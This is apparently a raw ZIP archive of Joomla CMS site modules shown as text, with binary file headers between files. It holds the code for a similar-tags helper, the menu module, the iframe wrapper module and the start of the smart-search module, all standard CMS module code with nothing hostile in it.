	 * Get a list of tags
	 *
	 * @param   Registry  &$params  Module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$app        = JFactory::getApplication();
		$option     = $app->input->get('option');
		$view       = $app->input->get('view');

		// For now assume com_tags and com_users do not have tags.
		// This module does not apply to list views in general at this point.
		if ($option === 'com_tags' || $view === 'category' || $option === 'com_users')
		{
			return array();
		}

		$db         = JFactory::getDbo();
		$user       = JFactory::getUser();
		$groups     = implode(',', $user->getAuthorisedViewLevels());
		$matchtype  = $params->get('matchtype', 'all');
		$maximum    = $params->get('maximum', 5);
		$ordering   = $params->get('ordering', 'count');
		$tagsHelper = new JHelperTags;
		$prefix     = $option . '.' . $view;
		$id         = $app->input->getInt('id');
		$now        = JFactory::getDate()->toSql();
		$nullDate   = $db->getNullDate();

		$tagsToMatch = $tagsHelper->getTagIds($id, $prefix);

		if (!$tagsToMatch || $tagsToMatch === null)
		{
			return array();
		}

		$tagCount = substr_count($tagsToMatch, ',') + 1;

		$query = $db->getQuery(true)
			->select(
				array(
					$db->quoteName('m.core_content_id'),
					$db->quoteName('m.content_item_id'),
					$db->quoteName('m.type_alias'),
					'COUNT( ' . $db->quoteName('tag_id') . ') AS ' . $db->quoteName('count'),
					$db->quoteName('ct.router'),
					$db->quoteName('cc.core_title'),
					$db->quoteName('cc.core_alias'),
					$db->quoteName('cc.core_catid'),
					$db->quoteName('cc.core_language'),
					$db->quoteName('cc.core_params'),
				)
			);

		$query->from($db->quoteName('#__contentitem_tag_map', 'm'));

		$query->join('INNER', $db->quoteName('#__tags', 't') . ' ON m.tag_id = t.id')
			->join('INNER', $db->quoteName('#__ucm_content', 'cc') . ' ON m.core_content_id = cc.core_content_id')
			->join('INNER', $db->quoteName('#__content_types', 'ct') . ' ON m.type_alias = ct.type_alias');

		$query->where($db->quoteName('m.tag_id') . ' IN (' . $tagsToMatch . ')');
		$query->where('t.access IN (' . $groups . ')');
		$query->where('(cc.core_access IN (' . $groups . ') OR cc.core_access = 0)');

		// Don't show current item
		$query->where('(' . $db->quoteName('m.content_item_id') . ' <> ' . $id
			. ' OR ' . $db->quoteName('m.type_alias') . ' <> ' . $db->quote($prefix) . ')'
		);

		// Only return published tags
		$query->where($db->quoteName('cc.core_state') . ' = 1 ')
			->where('(' . $db->quoteName('cc.core_publish_up') . '=' . $db->quote($nullDate) . ' OR '
				. $db->quoteName('cc.core_publish_up') . '<=' . $db->quote($now) . ')'
			)
			->where('(' . $db->quoteName('cc.core_publish_down') . '=' . $db->quote($nullDate) . ' OR '
				. $db->quoteName('cc.core_publish_down') . '>=' . $db->quote($now) . ')'
			);

		// Optionally filter on language
		$language = JComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = JHelperContent::getCurrentLanguage();
			}

			$query->where($db->quoteName('cc.core_language') . ' IN (' . $db->quote($language) . ', ' . $db->quote('*') . ')');
		}

		$query->group(
			$db->quoteName(
				array('m.core_content_id', 'm.content_item_id', 'm.type_alias', 'ct.router', 'cc.core_title',
				'cc.core_alias', 'cc.core_catid', 'cc.core_language', 'cc.core_params')
			)
		);

		if ($matchtype === 'all' && $tagCount > 0)
		{
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  = ' . $tagCount);
		}
		elseif ($matchtype === 'half' && $tagCount > 0)
		{
			$tagCountHalf = ceil($tagCount / 2);
			$query->having('COUNT( ' . $db->quoteName('tag_id') . ')  >= ' . $tagCountHalf);
		}

		if ($ordering === 'count' || $ordering === 'countrandom')
		{
			$query->order($db->quoteName('count') . ' DESC');
		}

		if ($ordering === 'random' || $ordering === 'countrandom')
		{
			$query->order($query->Rand());
		}

		$db->setQuery($query, 0, $maximum);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$results = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		foreach ($results as $result)
		{
			$result->link = TagsHelperRoute::getItemRoute(
				$result->content_item_id,
				$result->core_alias,
				$result->core_catid,
				$result->core_language,
				$result->type_alias,
				$result->router
			);

			$result->core_params = new Registry($result->core_params);
		}

		return $results;
	}
}
PK!��"9ffmod_menu/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_menu
 *
 * @since  1.5
 */
class ModMenuHelper
{
	/**
	 * Get a list of the menu items.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$app = JFactory::getApplication();
		$menu = $app->getMenu();

		// Get active menu item
		$base = self::getBase($params);
		$user = JFactory::getUser();
		$levels = $user->getAuthorisedViewLevels();
		asort($levels);
		$key = 'menu_items' . $params . implode(',', $levels) . '.' . $base->id;
		$cache = JFactory::getCache('mod_menu', '');

		if ($cache->contains($key))
		{
			$items = $cache->get($key);
		}
		else
		{
			$path           = $base->tree;
			$start          = (int) $params->get('startLevel', 1);
			$end            = (int) $params->get('endLevel', 0);
			$showAll        = $params->get('showAllChildren', 1);
			$items          = $menu->getItems('menutype', $params->get('menutype'));
			$hidden_parents = array();
			$lastitem       = 0;

			if ($items)
			{
				foreach ($items as $i => $item)
				{
					$item->parent = false;

					if (isset($items[$lastitem]) && $items[$lastitem]->id == $item->parent_id && $item->params->get('menu_show', 1) == 1)
					{
						$items[$lastitem]->parent = true;
					}

					if (($start && $start > $item->level)
						|| ($end && $item->level > $end)
						|| (!$showAll && $item->level > 1 && !in_array($item->parent_id, $path))
						|| ($start > 1 && !in_array($item->tree[$start - 2], $path)))
					{
						unset($items[$i]);
						continue;
					}

					// Exclude item with menu item option set to exclude from menu modules
					if (($item->params->get('menu_show', 1) == 0) || in_array($item->parent_id, $hidden_parents))
					{
						$hidden_parents[] = $item->id;
						unset($items[$i]);
						continue;
					}

					$item->deeper     = false;
					$item->shallower  = false;
					$item->level_diff = 0;

					if (isset($items[$lastitem]))
					{
						$items[$lastitem]->deeper     = ($item->level > $items[$lastitem]->level);
						$items[$lastitem]->shallower  = ($item->level < $items[$lastitem]->level);
						$items[$lastitem]->level_diff = ($items[$lastitem]->level - $item->level);
					}

					$lastitem     = $i;
					$item->active = false;
					$item->flink  = $item->link;

					// Reverted back for CMS version 2.5.6
					switch ($item->type)
					{
						case 'separator':
							break;

						case 'heading':
							// No further action needed.
							break;

						case 'url':
							if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false))
							{
								// If this is an internal Joomla link, ensure the Itemid is set.
								$item->flink = $item->link . '&Itemid=' . $item->id;
							}
							break;

						case 'alias':
							$item->flink = 'index.php?Itemid=' . $item->params->get('aliasoptions');

							// Get the language of the target menu item when site is multilingual
							if (JLanguageMultilang::isEnabled())
							{
								$newItem = JFactory::getApplication()->getMenu()->getItem((int) $item->params->get('aliasoptions'));

								// Use language code if not set to ALL
								if ($newItem != null && $newItem->language && $newItem->language !== '*')
								{
									$item->flink .= '&lang=' . $newItem->language;
								}
							}
							break;

						default:
							$item->flink = 'index.php?Itemid=' . $item->id;
							break;
					}

					if ((strpos($item->flink, 'index.php?') !== false) && strcasecmp(substr($item->flink, 0, 4), 'http'))
					{
						$item->flink = JRoute::_($item->flink, true, $item->params->get('secure'));
					}
					else
					{
						$item->flink = JRoute::_($item->flink);
					}

					// We prevent the double encoding because for some reason the $item is shared for menu modules and we get double encoding
					// when the cause of that is found the argument should be removed
					$item->title          = htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8', false);
					$item->anchor_css     = htmlspecialchars($item->params->get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_title   = htmlspecialchars($item->params->get('menu-anchor_title', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_rel     = htmlspecialchars($item->params->get('menu-anchor_rel', ''), ENT_COMPAT, 'UTF-8', false);
					$item->menu_image     = $item->params->get('menu_image', '') ?
						htmlspecialchars($item->params->get('menu_image', ''), ENT_COMPAT, 'UTF-8', false) : '';
					$item->menu_image_css = htmlspecialchars($item->params->get('menu_image_css', ''), ENT_COMPAT, 'UTF-8', false);
				}

				if (isset($items[$lastitem]))
				{
					$items[$lastitem]->deeper     = (($start ?: 1) > $items[$lastitem]->level);
					$items[$lastitem]->shallower  = (($start ?: 1) < $items[$lastitem]->level);
					$items[$lastitem]->level_diff = ($items[$lastitem]->level - ($start ?: 1));
				}
			}

			$cache->store($items, $key);
		}

		return $items;
	}

	/**
	 * Get base menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since	3.0.2
	 */
	public static function getBase(&$params)
	{
		// Get base menu item from parameters
		if ($params->get('base'))
		{
			$base = JFactory::getApplication()->getMenu()->getItem($params->get('base'));
		}
		else
		{
			$base = false;
		}

		// Use active menu item if no base found
		if (!$base)
		{
			$base = self::getActive($params);
		}

		return $base;
	}

	/**
	 * Get active menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since	3.0.2
	 */
	public static function getActive(&$params)
	{
		$menu = JFactory::getApplication()->getMenu();

		return $menu->getActive() ?: self::getDefault();
	}

	/**
	 * Get default menu item (home page) for current language.
	 *
	 * @return  object
	 */
	public static function getDefault()
	{
		$menu = JFactory::getApplication()->getMenu();
		$lang = JFactory::getLanguage();

		// Look for the home menu
		if (JLanguageMultilang::isEnabled())
		{
			return $menu->getDefault($lang->getTag());
		}
		else
		{
			return $menu->getDefault();
		}
	}
}
PK!+��#33mod_menu/tmpl/default_url.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;

$attributes = array();

if ($item->anchor_title)
{
	$attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css)
{
	$attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel)
{
	$attributes['rel'] = $item->anchor_rel;
}

$linktype = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($itemParams->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

if ($item->browserNav == 1)
{
	$attributes['target'] = '_blank';
	$attributes['rel'] = 'noopener noreferrer';

	if ($item->anchor_rel == 'nofollow')
	{
		$attributes['rel'] .= ' nofollow';
	}
}
elseif ($item->browserNav == 2)
{
	$options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $params->get('window_open');

	$attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo HTMLHelper::_('link', OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
PK!N�����!mod_menu/tmpl/default_heading.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';
$linktype   = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($itemParams->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

?>
<span class="mod-menu__heading nav-header <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>
PK!܆����#mod_menu/tmpl/default_separator.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

$title      = $item->anchor_title ? ' title="' . $item->anchor_title . '"' : '';
$anchor_css = $item->anchor_css ?: '';
$linktype   = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($itemParams->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

?>
<span class="mod-menu__separator separator <?php echo $anchor_css; ?>"<?php echo $title; ?>><?php echo $linktype; ?></span>
PK!ܝt�&&#mod_menu/tmpl/default_component.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\HTML\HTMLHelper;

$attributes = array();

if ($item->anchor_title)
{
	$attributes['title'] = $item->anchor_title;
}

if ($item->anchor_css)
{
	$attributes['class'] = $item->anchor_css;
}

if ($item->anchor_rel)
{
	$attributes['rel'] = $item->anchor_rel;
}

if ($item->id == $active_id)
{
	$attributes['aria-current'] = 'location';

	if ($item->current)
	{
		$attributes['aria-current'] = 'page';
	}
}

$linktype = $item->title;

if ($item->menu_image)
{
	if ($item->menu_image_css)
	{
		$image_attributes['class'] = $item->menu_image_css;
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes);
	}
	else
	{
		$linktype = HTMLHelper::_('image', $item->menu_image, $item->title);
	}

	if ($itemParams->get('menu_text', 1))
	{
		$linktype .= '<span class="image-title">' . $item->title . '</span>';
	}
}

if ($item->browserNav == 1)
{
	$attributes['target'] = '_blank';
}
elseif ($item->browserNav == 2)
{
	$options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

	$attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;";
}

echo HTMLHelper::_('link', OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes);
PK!0-���mod_menu/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->registerAndUseScript('mod_menu', 'mod_menu/menu.min.js', [], ['type' => 'module']);
$wa->registerAndUseScript('mod_menu', 'mod_menu/menu-es5.min.js', [], ['nomodule' => true, 'defer' => true]);

$id = '';

if ($tagId = $params->get('tag_id', ''))
{
	$id = ' id="' . $tagId . '"';
}

// The menu class is deprecated. Use mod-menu instead
?>
<ul<?php echo $id; ?> class="mod-menu mod-list nav <?php echo $class_sfx; ?>">
<?php foreach ($list as $i => &$item)
{
	$itemParams = $item->getParams();
	$class      = 'nav-item item-' . $item->id;

	if ($item->id == $default_id)
	{
		$class .= ' default';
	}

	if ($item->id == $active_id || ($item->type === 'alias' && $itemParams->get('aliasoptions') == $active_id))
	{
		$class .= ' current';
	}

	if (in_array($item->id, $path))
	{
		$class .= ' active';
	}
	elseif ($item->type === 'alias')
	{
		$aliasToId = $itemParams->get('aliasoptions');

		if (count($path) > 0 && $aliasToId == $path[count($path) - 1])
		{
			$class .= ' active';
		}
		elseif (in_array($aliasToId, $path))
		{
			$class .= ' alias-parent-active';
		}
	}

	if ($item->type === 'separator')
	{
		$class .= ' divider';
	}

	if ($item->deeper)
	{
		$class .= ' deeper';
	}

	if ($item->parent)
	{
		$class .= ' parent';
	}

	echo '<li class="' . $class . '">';

	switch ($item->type) :
		case 'separator':
		case 'component':
		case 'heading':
		case 'url':
			require ModuleHelper::getLayoutPath('mod_menu', 'default_' . $item->type);
			break;

		default:
			require ModuleHelper::getLayoutPath('mod_menu', 'default_url');
			break;
	endswitch;

	// The next item is deeper.
	if ($item->deeper)
	{
		echo '<ul class="mod-menu__sub list-unstyled small">';
	}
	// The next item is shallower.
	elseif ($item->shallower)
	{
		echo '</li>';
		echo str_repeat('</ul></li>', $item->level_diff);
	}
	// The next item is on the same level.
	else
	{
		echo '</li>';
	}
}
?></ul>
PK!��f�??mod_menu/mod_menu.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Menu\Site\Helper\MenuHelper;

$list       = MenuHelper::getList($params);
$base       = MenuHelper::getBase($params);
$active     = MenuHelper::getActive($params);
$default    = MenuHelper::getDefault();
$active_id  = $active->id;
$default_id = $default->id;
$path       = $base->tree;
$showAll    = $params->get('showAllChildren', 1);
$class_sfx  = htmlspecialchars($params->get('class_sfx'), ENT_COMPAT, 'UTF-8');

if (count($list))
{
	require ModuleHelper::getLayoutPath('mod_menu', $params->get('layout', 'default'));
}
PK!��mod_menu/mod_menu.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_menu</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_MENU_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Menu</namespace>
	<files>
		<filename module="mod_menu">mod_menu.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_menu.ini</language>
		<language tag="en-GB">language/en-GB/mod_menu.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_MENU" />
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldprefix="Joomla\Component\Menus\Administrator\Field">
				<field
					name="menutype"
					type="menu"
					label="MOD_MENU_FIELD_MENUTYPE_LABEL"
					clientid="0"
				/>

				<field
					name="base"
					type="modal_menu"
					label="MOD_MENU_FIELD_ACTIVE_LABEL"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
					>
					<option value="">JCURRENT</option>
				</field>

				<field
					name="startLevel"
					type="list"
					label="MOD_MENU_FIELD_STARTLEVEL_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>

				<field
					name="endLevel"
					type="list"
					label="MOD_MENU_FIELD_ENDLEVEL_LABEL"
					default="0"
					filter="integer"
					validate="options"
					>
					<option value="0">JALL</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
					<option value="6">J6</option>
					<option value="7">J7</option>
					<option value="8">J8</option>
					<option value="9">J9</option>
					<option value="10">J10</option>
				</field>

				<field
					name="showAllChildren"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_MENU_FIELD_ALLCHILDREN_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="tag_id"
					type="text"
					label="MOD_MENU_FIELD_TAG_ID_LABEL"
				/>

				<field
					name="class_sfx"
					type="text"
					label="MOD_MENU_FIELD_CLASS_LABEL"
					validate="CssIdentifier"
				/>

				<field
					name="window_open"
					type="text"
					label="MOD_MENU_FIELD_TARGET_LABEL"
					description="MOD_MENU_FIELD_TARGET_DESC"
				/>

				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��pkQQmod_wrapper/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->registerAndUseScript('com_wrapper.iframe', 'com_wrapper/iframe-height.min.js', [], ['defer' => true]);

?>
<iframe <?php echo $load; ?>
	id="blockrandom-<?php echo $id; ?>"
	name="<?php echo $target; ?>"
	src="<?php echo $url; ?>"
	width="<?php echo $width; ?>"
	height="<?php echo $height; ?>"
	loading="<?php echo $lazyloading; ?>"
	title="<?php echo $ititle; ?>"
	class="mod-wrapper wrapper">
	<?php echo Text::_('MOD_WRAPPER_NO_IFRAMES'); ?>
</iframe>
PK!n�}���mod_wrapper/mod_wrapper.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_wrapper</name>
	<author>Joomla! Project</author>
	<creationDate>October 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_WRAPPER_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Wrapper</namespace>
	<files>
		<filename module="mod_wrapper">mod_wrapper.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_wrapper.ini</language>
		<language tag="en-GB">language/en-GB/mod_wrapper.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="url"
					type="text"
					label="MOD_WRAPPER_FIELD_URL_LABEL"
					size="30"
					required="true"
				/>

				<field
					name="add"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_WRAPPER_FIELD_ADD_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="width"
					type="text"
					label="MOD_WRAPPER_FIELD_WIDTH_LABEL"
					size="5"
					default="100%"
				/>

				<field
					name="height"
					type="text"
					label="MOD_WRAPPER_FIELD_HEIGHT_LABEL"
					size="5"
					default="200"
				/>

				<field
					name="height_auto"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_WRAPPER_FIELD_AUTOHEIGHT_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="target"
					type="text"
					label="MOD_WRAPPER_FIELD_TARGET_LABEL"
					size="30"
				/>

				<field
					name="lazyloading"
					type="radio"
					label="MOD_WRAPPER_FIELD_LAZYLOADING_LABEL"
					default="lazy"
					layout="joomla.form.field.radio.switcher"
					validate="options"
					>
					<option value="eager">JNO</option>
					<option value="lazy">JYES</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!Z�٨�mod_wrapper/mod_wrapper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Wrapper\Site\Helper\WrapperHelper;

$params = WrapperHelper::getParams($params);

$load        = $params->get('load');
$url         = htmlspecialchars($params->get('url'), ENT_COMPAT, 'UTF-8');
$target      = htmlspecialchars($params->get('target'), ENT_COMPAT, 'UTF-8');
$width       = htmlspecialchars($params->get('width'), ENT_COMPAT, 'UTF-8');
$height      = htmlspecialchars($params->get('height'), ENT_COMPAT, 'UTF-8');
$ititle      = $module->title;
$id          = $module->id;
$lazyloading = $params->get('lazyloading', 'lazy');

require ModuleHelper::getLayoutPath('mod_wrapper', $params->get('layout', 'default'));
PK!�K��mod_wrapper/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_wrapper
 *
 * @since  1.5
 */
class ModWrapperHelper
{
	/**
	 * Gets the parameters for the wrapper
	 *
	 * @param   mixed  &$params  The parameters set in the administrator section
	 *
	 * @return  mixed  &params  The modified parameters
	 *
	 * @since   1.5
	 */
	public static function getParams(&$params)
	{
		$params->def('url', '');
		$params->def('scrolling', 'auto');
		$params->def('height', '200');
		$params->def('height_auto', 0);
		$params->def('width', '100%');
		$params->def('add', 1);
		$params->def('name', 'wrapper');

		$url = $params->get('url');

		if ($params->get('add'))
		{
			// Adds 'http://' if none is set
			if (strpos($url, '/') === 0)
			{
				// Relative URL in component. use server http_host.
				$url = 'http://' . $_SERVER['HTTP_HOST'] . $url;
			}
			elseif (strpos($url, 'http') === false && strpos($url, 'https') === false)
			{
				$url = 'http://' . $url;
			}
		}

		// Auto height control
		if ($params->def('height_auto'))
		{
			$load = 'onload="iFrameHeight(this)"';
		}
		else
		{
			$load = '';
		}

		$params->set('load', $load);
		$params->set('url', $url);

		return $params;
	}
}
PK!Rd��33mod_finder/mod_finder.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Finder\Administrator\Helper\LanguageHelper;
use Joomla\Component\Finder\Site\Helper\RouteHelper;
use Joomla\Module\Finder\Site\Helper\FinderHelper;

$cparams = ComponentHelper::getParams('com_finder');

// Check for OpenSearch
if ($params->get('opensearch', $cparams->get('opensearch', 1)))
{
	$defaultTitle = Text::_('MOD_FINDER_OPENSEARCH_NAME') . ' ' . $app->get('sitename');
	$ostitle = $params->get('opensearch_name', $cparams->get('opensearch_name', $defaultTitle));
	$app->getDocument()->addHeadLink(
		Uri::getInstance()->toString(array('scheme', 'host', 'port')) . Route::_('index.php?option=com_finder&view=search&format=opensearch'),
		'search', 'rel', array('title' => $ostitle, 'type' => 'application/opensearchdescription+xml')
	);
}

// Get the route.
$route = RouteHelper::getSearchRoute($params->get('searchfilter', null));

// Load component language file.
LanguageHelper::loadComponentLanguage();

// Load plugin language files.
LanguageHelper::loadPluginLanguage();

// Get Smart Search query object.
$query = FinderHelper::getQuery($params);

